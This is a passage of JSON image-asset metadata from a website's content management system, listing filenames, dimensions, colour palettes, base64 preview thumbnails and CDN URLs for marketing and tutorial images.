minutes.png","path":"images/sczeoy4w/production/5f20e9c31345e4674352e68a46da0a016477722a-1200x628.png","sha1hash":"5f20e9c31345e4674352e68a46da0a016477722a","size":201315,"uploadId":"iU5B3O9Ly9SFnPJiSnzGeKULVPgw9AP8","url":"https://cdn.sanity.io/images/sczeoy4w/production/5f20e9c31345e4674352e68a46da0a016477722a-1200x628.png"} {"_createdAt":"2022-12-08T13:09:16Z","_id":"image-5f41a510b641ecb798d5f411400f6206d93bd433-2000x1333-jpg","_rev":"Bp455s9rtQ49wRO6vWJtw7","_type":"sanity.imageAsset","_updatedAt":"2022-12-08T13:09:46Z","altText":"Open source program office at work","assetId":"5f41a510b641ecb798d5f411400f6206d93bd433","description":null,"extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5003750937734435,"height":1333,"width":2000},"exif":{"ColorSpace":65535,"_type":"sanity.imageExifMetadata"},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAANABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAYCBAUH/8QAJhAAAQMDAgUFAAAAAAAAAAAAAgEDBAAFBhESBxMxQVEVISJCYv/EABUBAQEAAAAAAAAAAAAAAAAAAAQC/8QAGhEAAgMBAQAAAAAAAAAAAAAAAQIAAxEhE//aAAwDAQACEQMRAD8AdsYv9ui5P6OZCjrga6/rxVTKuJ8Wz3s4yw1chtCW5xPsSeKWceYgvPtXA4iLLIy0cU11GtS74ZDmwSFXjEiFV3KO5ffrRiq+hMSjslYGyNh4r4/coHPuCrBkb1FWTXt2WiuT5Hg0R+6GpyXUURQPiiJ0SiqW9c7EM1oODon/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2c3e48","foreground":"#fff","population":3.77,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#744531","foreground":"#fff","population":5.46,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#a4846d","foreground":"#fff","population":7.39,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#acc6cf","foreground":"#000","population":0.3,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8c8ac","foreground":"#000","population":7.05,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a4846d","foreground":"#fff","population":7.39,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a76439","foreground":"#fff","population":3.16,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":null}},"originalFilename":"Aiven-Day2lr-155.jpg","path":"images/sczeoy4w/production/5f41a510b641ecb798d5f411400f6206d93bd433-2000x1333.jpg","sha1hash":"5f41a510b641ecb798d5f411400f6206d93bd433","size":1329621,"title":"OSPO-crab-week","uploadId":"f7U254qwE9Jn58NEjzXVEXeUaRwFn8dv","url":"https://cdn.sanity.io/images/sczeoy4w/production/5f41a510b641ecb798d5f411400f6206d93bd433-2000x1333.jpg"} {"_createdAt":"2024-08-05T08:48:00Z","_id":"image-5f73cfe56a480cda243063bd93907217ea68fb8f-1999x1089-png","_rev":"Gc7Qq2PHZBylrD6rwQA5kV","_type":"sanity.imageAsset","_updatedAt":"2024-08-05T08:48:00Z","assetId":"5f73cfe56a480cda243063bd93907217ea68fb8f","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M8SPU=yDVY%Me:~VtRRPkCaexuayR%R%ax","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8356290174471992,"height":1089,"width":1999},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsTAAALEwEAmpwYAAABv0lEQVQokY2S247bMBBD/f/fWWwSW3dpRhfbewopwbZ964NgiyBmSIpbKUJKmZwzrXXu++b7+/v/zuReF/fnzP9Ni1DWwEKtjeu61ulj0PvgPM+1ZGH9jY1xcvZOiwlxDvGe6j3NOza1nrBbvIuIKOM80dbxIeFcWNh5Xqh2gk+EkBARWhHC62D/9cC+dpIx6P5iExcJRyRFWduv60brwLiMtRHVugaKdKzLhFhWNEPrEvL6OvA2oCnRrGVr2he51sE5s7hvajuJqZJLXfbmkoml1BZ3Lrh6pxiPexzEw1FDeA+sUck+k2JG6xwwKCq4EJa9qXDmWbThQyFlWfdrDNRG/NdBOCwSI70UNjEZ+3BY41defXSiZJ7GcBjHbEHrg5gru0nL8lI9Y3CCe4YlZsYwsU1zxzshRn2/6nUhteNCIaYPNh+lDuLflq+bpoOc2k9cswlbUSWkt5VZmzmgaMdHJWVd2FQ0B6ZSKVJ/ePNbiiIfbKrcXA7szuF8Wva0NkxSvkxcmEpdln2uvEzC+7x4tVZizBgzs57Ye/nmk7CbjA9Ka+/S+tx4HGVhvZ/LYsid5yH/8GYT9mNW6Q/2G2pwU2apBZFFAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#324f6f","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1081aa","foreground":"#fff","population":0.04,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#9fa7ca","foreground":"#000","population":0.43,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9fa7ca","foreground":"#000","population":0.43,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc74b4","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b26070","foreground":"#fff","population":0.28,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2ea8dc","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"bigquery-kafka-source-connectors.png","path":"images/sczeoy4w/production/5f73cfe56a480cda243063bd93907217ea68fb8f-1999x1089.png","sha1hash":"5f73cfe56a480cda243063bd93907217ea68fb8f","size":154817,"uploadId":"nyTPSevr8KxXW3mFE9DDqV44xxkSF1mc","url":"https://cdn.sanity.io/images/sczeoy4w/production/5f73cfe56a480cda243063bd93907217ea68fb8f-1999x1089.png"} {"_createdAt":"2022-10-17T07:06:11Z","_id":"image-5f7415e9ffce4e80ad87a985e2fb9ba89cdf622b-1567x844-png","_rev":"2lVYRbK5I195wLBnbFa55A","_type":"sanity.imageAsset","_updatedAt":"2022-10-17T07:08:19Z","altText":"Graphical Giraffe Geoffrey guards graphs, giggling","assetId":"5f7415e9ffce4e80ad87a985e2fb9ba89cdf622b","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MDDION0%E1}-EeS*XS=rOXEN0e^ixvIvbb","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAACnElEQVQokW2Sy08TURTGZ8/OxBgVI+Gh0ELvvTPTmdKhD1op09JpoYCmxkpBHra1aATCQ7AqSCBCiA/USMLCRBMSXGFMXJjoxsTEhX8B/4HL2d3MZ2YqcSGLX865ufd89zsnR/B6vfD7/QgEAg52bqNpGhRFAWMMhBBQSiHLMlRVdfDKEmRGIFH77h9COBxGX18fstkscrmcEzOZDAzDQDjcCUmSHDE7hkIhJJNJZNJJZBMBjMXcGI00Iaa6wSgBIRSC7UTXdaRSKUc4nU4jHo8jEonA72+HJDJ4vTKCwSDiuo6r2SzuFMewVspgb9yNz8MnsWrUQve5HFHBbsn+3W7nCPvMJAWtShRuJQbZF0ZnJIpEIoGhoSEs31/A25UCfs5T/J6uwa+JGqwYtYipLgj2fI6jRdFxrnsZ540tqLEsemIaBtI6SqUSnm5t4sP2A3xfNXBYacPhQj32bzQiH3VBsOdzHBfbB3Fm4D2U4j4Kt3KoTEh4VAjhyWwerzYfY+f5Bt6szeHdahF7y8PYKKVwuUs9xqEjSOCSo5CMSdyeuYlnCwG8nHbj40MXvlVkHFR68aJSxtK9OSwtLmJxfhYj+esIBTTHofU/xPIQ0YpFFGt90mPtzF6wtu82WQeVOuvr1GnrR/ms9WmSWhvFpDVTGrEmxkYtwzAsWZYtQWUUmleG3+eDvZPVlqtuO3xtKF9pxuvpRuzONWC90ISZ3gbsDJ7Cl5ET2L1Wj3K/hlSiy9lbRimEDpHyaLvKO4NB7vP5OGOME0I4oZQzSnlE8/B82sXH+1u4EW3lmuLh/R3NfKq7jhcuNfAefytXZdGpo5RyQWbEVCTRVLyyKYqiSSk1CSF/IzUpJabIqtg5JcRklJh2ncSquf3+qOYP/zOT3utcJZQAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2d3958","foreground":"#fff","population":0.26,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7b2a21","foreground":"#fff","population":0.07,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f7770a","foreground":"#fff","population":7.18,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bbbaba","foreground":"#000","population":4.26,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f3c626","foreground":"#000","population":0.4,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7e7a75","foreground":"#fff","population":6.15,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f7770a","foreground":"#fff","population":7.18,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"Grafana9_blog.png","path":"images/sczeoy4w/production/5f7415e9ffce4e80ad87a985e2fb9ba89cdf622b-1567x844.png","sha1hash":"5f7415e9ffce4e80ad87a985e2fb9ba89cdf622b","size":324874,"title":"Grafana 9 from Aiven","uploadId":"B8W9h1Ow3RGIDgF4gMwDtpkHv573J4u9","url":"https://cdn.sanity.io/images/sczeoy4w/production/5f7415e9ffce4e80ad87a985e2fb9ba89cdf622b-1567x844.png"} {"_createdAt":"2023-01-24T08:33:08Z","_id":"image-5f858254167fd54dad5f42dd8da14387eb2f9a1f-1040x408-png","_rev":"7aZRizEs9TRA92eUWCPlwA","_type":"sanity.imageAsset","_updatedAt":"2023-01-24T08:36:46Z","altText":"Screenshot of 6 new credential files created after running the command \"avn service user-kafka-java-creds.\" These files are in the \"src/main/resources\"The files are titled ca.pem, client.keystore.12, client.properties, client.truststore.jks, service.cert, and service.key.","assetId":"5f858254167fd54dad5f42dd8da14387eb2f9a1f","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.549019607843137,"height":408,"width":1040},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAIAAAB2/0i6AAAACXBIWXMAAAsTAAALEwEAmpwYAAAAmklEQVQYlY3QyQ3DMAxEUZcVBKK4aCO1WLIB999K4AoiYK7vMP/wLKn2cT/1vCQVIHHImzuAmELKY9XrKW1wSPv+cMhAwlltXn2e2QoFAWKgPeyQUaK2NqZp45CBg0dBINrCXqL1di615rJ+kn4lOc/buI6xbrPusr2Y4zamkKz3PrVUF8srkfHv7RejxJfOZV1jBkkOxcNG7R+1c3n3W4aFEQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#515634","foreground":"#fff","population":1.85,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#646c2c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#515634","foreground":"#fff","population":1.85,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#76a6b4","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a2cfd7","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5898a4","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#387882","foreground":"#fff","population":0.03,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"user-kafka-java-creds.png","path":"images/sczeoy4w/production/5f858254167fd54dad5f42dd8da14387eb2f9a1f-1040x408.png","sha1hash":"5f858254167fd54dad5f42dd8da14387eb2f9a1f","size":11346,"title":null,"uploadId":"hIHLNYkJjCkY8X0XeM7x1TdmxxzEbD3t","url":"https://cdn.sanity.io/images/sczeoy4w/production/5f858254167fd54dad5f42dd8da14387eb2f9a1f-1040x408.png"} {"_createdAt":"2024-03-25T09:17:09Z","_id":"image-5f88665a7a3ad757f808f879e6b9922d7b3c5d05-800x114-png","_rev":"Y34ePYFQ489qDVybEJPaPD","_type":"sanity.imageAsset","_updatedAt":"2024-03-25T09:17:09Z","assetId":"5f88665a7a3ad757f808f879e6b9922d7b3c5d05","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"412YkZ-;~q-;~q","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":7.017543859649122,"height":114,"width":800},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAADCAYAAACTWi8uAAAACXBIWXMAABYlAAAWJQFJUiTwAAAAdElEQVQImS3OOQoCARBE0QcqrriLCyhoMIliZCSTeAIF738XKemgoYL+vwqumKKHFZaV59hjiBG2mGCAdTEzPPBFiwM8S9THCceCNrgUOC5hxCnYlfSMFz54l/QvyVMXi1qWHDhrI8/i/HTqklPU4F7Ft+QfpGcFx+LXj7wAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#040404","foreground":"#fff","population":101.04,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#040404","foreground":"#fff","population":101.04,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4c","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"rusty.png","path":"images/sczeoy4w/production/5f88665a7a3ad757f808f879e6b9922d7b3c5d05-800x114.png","sha1hash":"5f88665a7a3ad757f808f879e6b9922d7b3c5d05","size":20568,"uploadId":"WK3AXJ3pWNIrC3eCj2NN1JdWN1iHaDUS","url":"https://cdn.sanity.io/images/sczeoy4w/production/5f88665a7a3ad757f808f879e6b9922d7b3c5d05-800x114.png"} {"_createdAt":"2024-01-25T16:34:15Z","_id":"image-5fa425735966e1aa774e86bc7e58bf6d2fcbb8a2-512x512-jpg","_rev":"VeNKqGNmt13PzvGhqnzePK","_type":"sanity.imageAsset","_updatedAt":"2024-01-25T16:34:15Z","assetId":"5fa425735966e1aa774e86bc7e58bf6d2fcbb8a2","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eFEyA1NH_NMx%N?us:RPRjR5^+bbM|t7X99tj]nhjZxu-;t7WCRjkC","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":512,"width":512},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGQABAAMBAQAAAAAAAAAAAAAAAAQFBgcI/8QAJBAAAQQCAgEEAwAAAAAAAAAAAQIDBAUABhEhEhMxQYEHcXL/xAAXAQADAQAAAAAAAAAAAAAAAAACAwQA/8QAHREAAwACAgMAAAAAAAAAAAAAAAECESEDBBIxMv/aAAwDAQACEQMRAD8AjSbB6DuNjKcC31t16gAs8+5yHSWkp6/hwpD5IUgrR49fWZLedjk1FvIVHQ0pUmOWVcq8uAfkZkK60tfWbsYjyA9G6SB2o/WDUvQ2KnD1s9MaiFqrHCsuE+ssdn9Yyr/FtiZ+ptSHQA4pxXkOfnrnGZSA2smb2LXap7dJ8N2IhUdMJK0pPweffK2p1+qhBcuPCbS+2SlKuzxjGByt+TKutKcJ4OoaZWRItCyGGUpDhLiv6PvjGMfPpEV/TP/Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5b3833","foreground":"#fff","population":0.91,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5b1f25","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#927a73","foreground":"#fff","population":9.96,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c8b0a8","foreground":"#000","population":0.87,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bc6464","foreground":"#fff","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#927a73","foreground":"#fff","population":9.96,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bc545c","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"E02TH02S2F3-U05K7DM8PJB-bb6bf5076d49-512.jpg","path":"images/sczeoy4w/production/5fa425735966e1aa774e86bc7e58bf6d2fcbb8a2-512x512.jpg","sha1hash":"5fa425735966e1aa774e86bc7e58bf6d2fcbb8a2","size":29768,"uploadId":"geRThdNXoKf1mPGt3g6BTygJSeJasswo","url":"https://cdn.sanity.io/images/sczeoy4w/production/5fa425735966e1aa774e86bc7e58bf6d2fcbb8a2-512x512.jpg"} {"_createdAt":"2023-11-19T00:34:24Z","_id":"image-60470d8b0556adad20a68540f380a620279ddd73-5120x2880-png","_rev":"00HkATqwml6aoQnrNyk25W","_type":"sanity.imageAsset","_updatedAt":"2023-11-19T00:34:24Z","assetId":"60470d8b0556adad20a68540f380a620279ddd73","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M5R3j4-=R,-=R,_4a#a|a#j@s-azazazaz","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":2880,"width":5120},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAA7DAAAOwwHHb6hkAAAA5ElEQVQokU1Siw7EIAjj/z90D0XR/QCXUiSXEG7rlUrr5FJv5n2hxnZd3qa/03uAugESfw2gEvzwLLcmNLbPD70bhosEMHAMB41M3S6NvIUZnpBnxi7QDRCi6zBDt5nLM/DDVTmJZwP4TvRk8y8DCFMLXdIzK6B7oBKMSaqws7r5rS6UoXwzfwaK9mibYKkrmdOv7sLF4PYYZvh4Zc7hlnHooSH8eQKrDItdw/P0zH/7OFpSSdb+uUUszAvX9acbibLjZLqtbKnF205FfhUnF4K4qkvzpa60r8iMIZXPnVok8Fv6AeHbcySqmWrSAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#0f3889","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0d3077","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#e4ecfc","foreground":"#000","population":40.35,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#e4e4ec","foreground":"#000","population":0,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e4ecfc","foreground":"#000","population":40.35,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#0f3889","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#195de5","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"light hero background.png","path":"images/sczeoy4w/production/60470d8b0556adad20a68540f380a620279ddd73-5120x2880.png","sha1hash":"60470d8b0556adad20a68540f380a620279ddd73","size":307472,"uploadId":"Y46HZuhVXnMBFjwbjYPjrGs6zOla34fJ","url":"https://cdn.sanity.io/images/sczeoy4w/production/60470d8b0556adad20a68540f380a620279ddd73-5120x2880.png"} {"_createdAt":"2022-06-29T07:41:09Z","_id":"image-604bd3ce4251caddf7d6f78142af16aab225e0cd-2400x1598-jpg","_rev":"oamrAPLmQLQjd9jh7ePh7a","_type":"sanity.imageAsset","_updatedAt":"2022-06-29T07:41:47Z","altText":"tree","assetId":"604bd3ce4251caddf7d6f78142af16aab225e0cd","description":null,"extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5018773466833542,"height":1598,"width":2400},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAANABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAYHAwT/xAAgEAACAgICAgMAAAAAAAAAAAABAgMEABEFIQZRBxJB/8QAFQEBAQAAAAAAAAAAAAAAAAAAAwT/xAAcEQABBAMBAAAAAAAAAAAAAAAAAgMREgETQTH/2gAMAwEAAhEDEQA/AEX42s0ouLeOZgHFVzr2d5zc1FXs1VMD7AUknXQOI3ik0g5aKNWYK+0Oj+HKZd4qvS4uRE+zBx3s5I+jW5afRW0qcTGOE/iemI1BmAIHYwzCerXSVlEQ0D7wyuk9Bpk//9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4e4c35","foreground":"#fff","population":9.26,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6f6918","foreground":"#fff","population":0.6,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#4e4c35","foreground":"#fff","population":9.26,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#908c8f","foreground":"#fff","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f0d88e","foreground":"#000","population":0.5,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a06f4f","foreground":"#fff","population":0.73,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b69b60","foreground":"#000","population":8.09,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":null}},"originalFilename":"large-image.jpe.jpg","path":"images/sczeoy4w/production/604bd3ce4251caddf7d6f78142af16aab225e0cd-2400x1598.jpg","sha1hash":"604bd3ce4251caddf7d6f78142af16aab225e0cd","size":1116273,"title":null,"uploadId":"2sD8V5xYkI46oBuFFT1lfluWCUlPB78O","url":"https://cdn.sanity.io/images/sczeoy4w/production/604bd3ce4251caddf7d6f78142af16aab225e0cd-2400x1598.jpg"} {"_createdAt":"2022-09-07T20:34:25Z","_id":"image-606a17bc642d3351db8987ffb1c6089316d80235-1200x630-jpg","_rev":"CK1sLU2mnwa3vmbYWCaoe9","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T07:42:39Z","altText":"Plans and pricing preview","assetId":"606a17bc642d3351db8987ffb1c6089316d80235","description":null,"extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAUCAwb/xAAgEAABBAIDAAMAAAAAAAAAAAABAAIDBBEhEjFRJEFx/8QAFgEBAQEAAAAAAAAAAAAAAAAABQYH/8QAHxEAAgICAQUAAAAAAAAAAAAAAQIAAwQRQQUSEzFR/9oADAMBAAIRAxEAPwDQy2KwrgGDMgb2R2UloGC+23OH5bDG8mIaPIeJjePxx+JHXjbXiIgHAOznH3lQ/SrKgD5Rs8TS8jGybtLjP2fZHlUliilhfIWyMDtjYPiFS7WGjQaMAeBCcVND2Y7UjqgDnZ5n/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3e3e42","foreground":"#fff","population":11.78,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#975c3f","foreground":"#fff","population":0.67,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc7404","foreground":"#fff","population":11.92,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#e3dbd1","foreground":"#000","population":9.36,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fb384e","foreground":"#fff","population":9.98,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b47d75","foreground":"#fff","population":3.34,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc7404","foreground":"#fff","population":11.92,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":[{"_ref":"CK1sLU2mnwa3vmbYWCajQI","_type":"reference","_weak":true}]}},"originalFilename":"Pricing_page_meta_preview.jpe.jpg","path":"images/sczeoy4w/production/606a17bc642d3351db8987ffb1c6089316d80235-1200x630.jpg","sha1hash":"606a17bc642d3351db8987ffb1c6089316d80235","size":226476,"title":null,"uploadId":"df3RA3ID8WeZXa9ibcIt0FW9DQmm6EKR","url":"https://cdn.sanity.io/images/sczeoy4w/production/606a17bc642d3351db8987ffb1c6089316d80235-1200x630.jpg"} {"_createdAt":"2023-11-20T09:43:20Z","_id":"image-6073f1b1cd017241f1e3afa2c4a4b7d02b2ab16b-2500x1313-jpg","_rev":"Arp4NzaYseKQ5hw9dWRYgE","_type":"sanity.imageAsset","_updatedAt":"2023-11-20T09:43:20Z","assetId":"6073f1b1cd017241f1e3afa2c4a4b7d02b2ab16b","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MHSx_:_OC8.SUbtjxaM{r]WBy@L3v}ROpw","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.904036557501904,"height":1313,"width":2500},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAUGBP/EACIQAAEDAwQDAQAAAAAAAAAAAAECAwQABRESEyFBBjJRkf/EABYBAQEBAAAAAAAAAAAAAAAAAAcBBf/EABoRAAMAAwEAAAAAAAAAAAAAAAECAwAEEWH/2gAMAwEAAhEDEQA/AGcNUENI1ga8c5FV/hUW33K7JadZSWUoJyftQmSW0jj8p9ZpL0NrdjOKbcx7Jo4jZUqpdegYp78GeTBGIJ9xldoxg3OTHIOELOnjrqisc6ZIkv7r7qluEDKjRV2N2TUZlTgzL19Gk5KrP0ge5//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5d706c","foreground":"#fff","population":0.19,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#043518","foreground":"#fff","population":0.09,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":13.64,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9bc8bd","foreground":"#000","population":1.28,"title":"#fff"},"